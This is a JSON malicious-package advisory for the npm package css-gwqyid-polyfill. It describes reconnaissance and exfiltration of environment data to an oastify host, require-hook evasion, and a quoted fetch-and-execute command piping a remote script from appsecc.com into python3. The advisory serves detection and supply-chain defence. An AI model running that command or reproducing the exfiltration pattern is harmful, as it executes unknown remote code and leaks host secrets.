{"id":"MAL-2026-17574","summary":"Malicious code in css-gwqyid-polyfill (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19)\nthunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync(\"curl -L https://appsecc.com/py | python3\")` to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.\n","modified":"2026-10-05T16:31:38.286108164Z","published":"2026-10-05T16:14:13Z","database_specific":{"malicious-packages-origins":[{"sha256":"3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-021076","import_time":"2026-10-05T16:22:56.803931324Z","modified_time":"2026-10-05T16:14:13Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/css-gwqyid-polyfill/v/1.0.0"}],"affected":[{"package":{"name":"css-gwqyid-polyfill","ecosystem":"npm","purl":"pkg:npm/css-gwqyid-polyfill"},"versions":["1.0.0"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"path":"thunderboltRegistry.js","sha256":"098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699","tlsh":"e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4"}],"package_integrity":[{"filename":"css-gwqyid-polyfill-1.0.0.tgz","hashes":{"sha512_sri":"sha512-FPNsv0P8oSXboP+SHokFm5vBYbxmqU3vHf1y3Zkb5bJEyL589phOIEhJhbhFoT2ZaLJLAQCpdQeh++o16u3JAg==","sha1":"83edb5270f4a290ceb656134456b7a18e0d464f1"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-gwqyid-polyfill/MAL-2026-17574.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}